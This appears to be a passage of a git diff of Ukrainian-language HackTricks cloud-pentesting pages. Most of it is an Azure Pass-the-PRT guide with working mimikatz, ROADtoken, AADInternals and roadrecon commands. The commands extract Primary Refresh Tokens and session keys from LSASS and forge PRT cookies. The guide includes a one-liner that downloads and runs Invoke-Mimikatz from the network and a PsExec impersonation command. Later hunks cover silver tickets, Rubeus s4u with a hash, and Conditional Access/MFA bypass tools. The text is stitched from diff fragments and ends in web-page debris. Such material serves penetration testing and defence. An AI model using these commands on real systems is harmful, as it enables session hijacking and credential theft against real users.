Отже, навіть якщо PRT не можна витягти, оскільки він знаходиться всередині TPM, можливо зловживати LSASS для **запиту виведених ключів з нових контекстів і використання згенерованих ключів для підписання куки**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Сценарії зловживання PRT
|
||||
|
||||
Як **звичайний користувач**, можливо **запитати використання PRT**, звернувшись до LSASS за даними SSO.\
|
||||
Це можна зробити як **нативні додатки**, які запитують токени у **Web Account Manager** (брокер токенів). WAM передає запит до **LSASS**, який запитує токени, використовуючи підписане твердження PRT. Або це можна зробити за допомогою **браузерних (веб) потоків**, де **PRT cookie** використовується як **заголовок** для автентифікації запитів до сторінок входу Azure AS.
|
||||
|
||||
Як **SYSTEM** ви можете **викрасти PRT, якщо він не захищений** TPM або **взаємодіяти з ключами PRT у LSASS**, використовуючи крипто API.
|
||||
|
||||
## Приклади атак Pass-the-PRT
|
||||
|
||||
### Атака - ROADtoken
|
||||
|
||||
Для отримання додаткової інформації про цей спосіб [**перевірте цей пост**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken запустить **`BrowserCore.exe`** з правильного каталогу та використає його для **отримання куки PRT**. Цю куки можна використовувати з ROADtools для автентифікації та **отримання постійного токена оновлення**.
|
||||
|
||||
Щоб згенерувати дійсну куки PRT, перше, що вам потрібно, це nonce.\
|
||||
Ви можете отримати це за допомогою:
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
Або використовуючи [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Тоді ви можете використовувати [**roadtoken**](https://github.com/dirkjanm/ROADtoken), щоб отримати новий PRT (запустіть у інструменті з процесу користувача для атаки):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Як однорядковий:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Тоді ви можете використовувати **згенерований cookie** для **генерації токенів** для **входу** за допомогою Azure AD **Graph** або Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### Attack - Using roadrecon
|
||||
|
||||
### Attack - Using AADInternals and a leaked PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **отримує PRT токен користувача** з комп'ютера, приєднаного до Azure AD або Hybrid. Використовує `BrowserCore.exe` для отримання PRT токена.
|
||||
```bash
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
Або, якщо у вас є значення з Mimikatz, ви також можете використовувати AADInternals для генерації токена:
|
||||
```bash
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
|
||||
|
||||
# Decode
|
||||
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Mimikatz "Clear key" value
|
||||
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
|
||||
|
||||
# Convert to Byte array and B64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate PRTToken with Nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
|
||||
$prtToken
|
||||
## You can already use this token ac cookie in the browser
|
||||
|
||||
# Get access token from prtToken
|
||||
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
Перейдіть на [https://login.microsoftonline.com](https://login.microsoftonline.com), очистіть всі куки для login.microsoftonline.com і введіть новий куки.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
Тоді перейдіть на [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і повинні пройти процес знову. Якщо ні, то все має бути в порядку.
|
||||
|
||||
### Атака - Mimikatz
|
||||
|
||||
#### Кроки
|
||||
|
||||
1. **PRT (Primary Refresh Token) витягується з LSASS** (Local Security Authority Subsystem Service) і зберігається для подальшого використання.
|
||||
2. **Наступним витягується Session Key**. Оскільки цей ключ спочатку видається, а потім повторно шифрується локальним пристроєм, це вимагає розшифрування за допомогою DPAPI masterkey. Докладну інформацію про DPAPI (Data Protection API) можна знайти в цих ресурсах: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), а для розуміння його застосування зверніться до [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Після розшифрування Session Key, **отримуються похідний ключ і контекст для PRT**. Вони є критично важливими для **створення кукі PRT**. Зокрема, похідний ключ використовується для підписання JWT (JSON Web Token), що складає кукі. Докладне пояснення цього процесу надано Дірком-Яном, доступне [тут](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що якщо PRT знаходиться всередині TPM і не всередині `lsass`, **mimikatz не зможе його витягти**.\
|
||||
> Однак, буде можливим **отримати ключ з похідного ключа з контексту** з TPM і використовувати його для **підписання кукі (перевірте опцію 3).**
|
||||
|
||||
Ви можете знайти **детальне пояснення виконаного процесу** для витягнення цих деталей тут: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> Це не буде точно працювати після виправлень серпня 2021 року для отримання PRT токенів інших користувачів, оскільки тільки користувач може отримати свій PRT (локальний адміністратор не може отримати PRT інших користувачів), але може отримати свій.
|
||||
|
||||
Ви можете використовувати **mimikatz** для витягнення PRT:
|
||||
```bash
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Скопіюйте** частину, позначену **Prt**, і збережіть її.\
|
||||
Також витягніть ключ сесії (**`KeyValue`** поля **`ProofOfPossesionKey`**), який ви можете побачити, виділений нижче. Він зашифрований, і нам потрібно буде використати наші майстер-ключі DPAPI для його розшифровки.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Якщо ви не бачите жодних даних PRT, це може бути тому, що у вас **немає жодних PRT**, оскільки ваш пристрій не приєднаний до Azure AD, або ви **використовуєте стару версію** Windows 10.
|
||||
|
||||
Щоб **розшифрувати** ключ сесії, вам потрібно **підвищити** свої привілеї до **SYSTEM**, щоб працювати в контексті комп'ютера і мати можливість використовувати **майстер-ключ DPAPI для його розшифровки**. Ви можете використовувати наступні команди для цього:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 1 - Full Mimikatz
|
||||
|
||||
- Тепер ви хочете скопіювати значення Context:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- І значення похідного ключа:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Нарешті, ви можете використати всю цю інформацію, щоб **згенерувати PRT cookies**:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Перейдіть на [https://login.microsoftonline.com](https://login.microsoftonline.com), очистіть всі куки для login.microsoftonline.com і введіть новий куки.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
- Потім перейдіть на [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!УВАГА]
|
||||
> Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і вам доведеться пройти процес знову. Якщо ні, то все має бути добре.
|
||||
|
||||
#### Option 2 - roadrecon using PRT
|
||||
|
||||
- Спочатку оновіть PRT, що зберегти його в `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Тепер ми можемо **запитувати токени** за допомогою інтерактивного браузера з `roadtx browserprtauth`. Якщо ми використаємо команду `roadtx describe`, ми побачимо, що токен доступу містить вимогу MFA, оскільки PRT, який я використав у цьому випадку, також мав вимогу MFA.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 3 - roadrecon використовуючи похідні ключі
|
||||
|
||||
Маючи контекст і похідний ключ, вивантажений за допомогою mimikatz, можливо використовувати roadrecon для генерації нового підписаного cookie з:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -16,7 +16,7 @@ Desktop SSO використовує **Kerberos** для аутентифіка
|
||||
|
||||
**Квитки Kerberos** **шифруються** за допомогою **NTHash (MD4)** пароля, а Entra ID використовує надісланий пароль для розшифровки квитків.
|
||||
|
||||
**Entra ID** надає **кінцеву точку** (https://autologon.microsoftazuread-sso.com), яка приймає **квитки** Kerberos. Браузер машини, приєднаної до домену, пересилає квитки на цю кінцеву точку для SSO.
|
||||
**Entra ID** надає **кінцеву точку** (https://autologon.microsoftazuread-sso.com), яка приймає **квитки** Kerberos. Браузер комп'ютера, приєднаного до домену, пересилає квитки на цю кінцеву точку для SSO.
|
||||
|
||||
### Перерахування
|
||||
```bash
|
||||
@@ -42,10 +42,10 @@ $searcher.FindOne()
|
||||
|
||||
Щоб отримати цей TGS квиток, атакуючий повинен мати один з наступних елементів:
|
||||
- **TGS скомпрометованого користувача:** Якщо ви скомпрометуєте сесію користувача з квитком до `HTTP/autologon.microsoftazuread-sso.com` в пам'яті, ви можете використовувати його для доступу до хмарних ресурсів.
|
||||
- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати один, використовуючи трюк з делегуванням фальшивого TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати один, використовуючи трюк з підробкою TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Хеш або пароль скомпрометованого користувача:** SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT, а потім TGS.
|
||||
- **Золотий квиток:** Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача.
|
||||
- **Хеш або пароль облікового запису AZUREADSSOACC$:** З цією інформацією та ідентифікатором безпеки (SID) користувача можливо створити сервісний квиток і аутентифікуватися в хмарі (як це виконано в попередньому методі).
|
||||
- **Хеш або пароль облікового запису AZUREADSSOACC$:** З цією інформацією та Ідентифікатором безпеки (SID) користувача можливо створити сервісний квиток і аутентифікуватися в хмарі (як це виконано в попередньому методі).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
@@ -91,7 +91,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
> З поточною інформацією ви можете просто використовувати інструмент **SeamlessPass**, як зазначено раніше, щоб отримати токени azure та entraid для будь-якого користувача в домені.
|
||||
> Ви також можете використовувати попередні техніки (та інші), щоб отримати хеш пароля жертви, яку ви хочете видати за себе, замість облікового запису `AZUREADSSOACC$`.
|
||||
|
||||
#### Creating Silver Tickets
|
||||
#### Створення срібних квитків
|
||||
|
||||
З хешем ви тепер можете **генерувати срібні квитки**:
|
||||
```bash
|
||||
@@ -117,7 +117,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
- Перейдіть до **`about:config`**.
|
||||
- Встановіть параметр для [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) на вказане [значення](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Перейдіть до `Налаштування` Firefox > Знайдіть `Дозволити одноразовий вхід Windows для облікових записів Microsoft, робочих і навчальних` і увімкніть його.
|
||||
- Перейдіть до налаштувань Firefox `Settings` > Знайдіть `Allow Windows single sign-on for Microsoft, work and school accounts` і увімкніть його.
|
||||
3. **Доступ до веб-додатку:**
|
||||
- Відвідайте веб-додаток, інтегрований з доменом AAD організації. Загальним прикладом є [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Процес аутентифікації:**
|
||||
@@ -171,12 +171,12 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
Ви тепер можете використовувати **TGS для доступу до ресурсів Azure як підроблений користувач.**
|
||||
|
||||
|
||||
### ~~Створення квитків Kerberos для користувачів тільки в хмарі~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
### ~~Створення квитків Kerberos для користувачів лише в хмарі~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів тільки в хмарі**. Єдина вимога полягає в тому, що SID має бути правильним [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів лише в хмарі**. Єдина вимога полягає в тому, що SID є правильним [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зміна SID користувачів-адміністраторів тільки в хмарі тепер **блокована Microsoft**.\
|
||||
> Зміна SID користувачів-адміністраторів лише в хмарі тепер **блокована Microsoft**.\
|
||||
> Для отримання інформації перевірте [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
|
||||
@@ -5,11 +5,11 @@
|
||||
## Основна інформація
|
||||
|
||||
Політики умовного доступу Azure - це правила, встановлені в Microsoft Azure для забезпечення контролю доступу до служб та додатків Azure на основі певних **умов**. Ці політики допомагають організаціям захистити свої ресурси, застосовуючи правильні контролі доступу за правильних обставин.\
|
||||
Політики умовного доступу в основному **визначають** **Хто** може отримати доступ до **Чого** з **Де** та **Як**.
|
||||
Політики умовного доступу в основному **визначають** **Хто** може отримати доступ до **Чого** з **Де** і **Як**.
|
||||
|
||||
Ось кілька прикладів:
|
||||
|
||||
1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка користувача під час входу є незвичною в порівнянні з їхнім звичайним патерном, наприклад, входом з іншої країни, система може запитати додаткову аутентифікацію.
|
||||
1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка входу користувача є незвичною в порівнянні з їх звичайним шаблоном, наприклад, вхід з іншої країни, система може запитати додаткову аутентифікацію.
|
||||
2. **Політика відповідності пристроїв**: Ця політика може обмежити доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, які мають актуальне антивірусне програмне забезпечення або працюють на певній версії операційної системи.
|
||||
|
||||
## Перерахування
|
||||
@@ -24,7 +24,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
|
||||
Можливо, що політика умовного доступу **перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику**. І якщо, наприклад, політика налаштовує MFA, зловмисник зможе її обійти.
|
||||
|
||||
При налаштуванні політики умовного доступу потрібно вказати **користувачів**, на яких вона вплине, та **цільові ресурси** (наприклад, всі хмарні додатки).
|
||||
При налаштуванні політики умовного доступу потрібно вказати **користувачів**, яких це стосується, та **цільові ресурси** (наприклад, всі хмарні додатки).
|
||||
|
||||
Також потрібно налаштувати **умови**, які **активують** політику:
|
||||
|
||||
@@ -32,7 +32,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
- Можна обійти, використовуючи VPN або проксі для підключення до країни або зумівши увійти з дозволеної IP-адреси
|
||||
- **Ризики Microsoft**: Ризик користувача, ризик входу, ризик зсередини
|
||||
- **Платформи пристроїв**: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Якщо “Будь-який пристрій” не вибрано, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами
|
||||
- Якщо не вибрано “Будь-який пристрій”, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами
|
||||
- **Клієнтські додатки**: Опції “Браузер”, “Мобільні додатки та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
|
||||
- Щоб обійти вхід з не вибраною опцією
|
||||
- **Фільтр для пристроїв**: Можна створити правило, пов'язане з використаним пристроєм
|
||||
@@ -65,7 +65,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Щоб спробувати обійти цю захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\
|
||||
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вас і навіть надасть токен, якщо вдасться.
|
||||
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі**, і спробує увійти в них, повідомить вас і навіть надасть токен, якщо вдасться.
|
||||
|
||||
Щоб **перевірити конкретні ідентифікатори додатків у конкретних ресурсах**, ви також можете використовувати інструмент, такий як:
|
||||
```bash
|
||||
@@ -105,14 +105,14 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
Знайдіть більше інформації про цей вид атаки на наступній сторінці:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Інструменти
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Цей скрипт отримує деякі облікові дані користувача та перевіряє, чи може він увійти в деякі додатки.
|
||||
Цей скрипт отримує деякі облікові дані користувача і перевіряє, чи може він увійти в деякі додатки.
|
||||
|
||||
Це корисно, щоб побачити, чи **не потрібно MFA для входу в деякі додатки**, які ви можете пізніше зловживати для **ескалації привілеїв**.
|
||||
|
||||
@@ -131,7 +131,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох виробничих AAD тенантах, де клієнти AAD вважали, що у них є MFA, але аутентифікація на основі ROPC пройшла успішно.
|
||||
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох продуктивних AAD тенантах, де клієнти AAD вважали, що у них є MFA, але аутентифікація на основі ROPC пройшла успішно.
|
||||
|
||||
> [!TIP]
|
||||
> Вам потрібно мати дозволи для перегляду всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу.
|
||||
@@ -143,7 +143,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які повинні перевіряти політики умовного доступу, тести для порталу Microsoft з увімкненим 2FA тощо.
|
||||
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки Політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
@@ -156,7 +156,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Оскільки **Azure** **портал** **не обмежений**, можливо **зібрати токен з кінцевої точки порталу для доступу до будь-якої служби, виявленої** попереднім виконанням. У цьому випадку було виявлено Sharepoint, і запитується токен для доступу до нього:
|
||||
Оскільки **Azure** **портал** **не обмежений**, можливо **зібрати токен з кінцевої точки порталу для доступу до будь-якої служби, виявленої** під час попереднього виконання. У цьому випадку було виявлено Sharepoint, і запитується токен для доступу до нього:
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
|
||||
Reference in New Issue
Block a user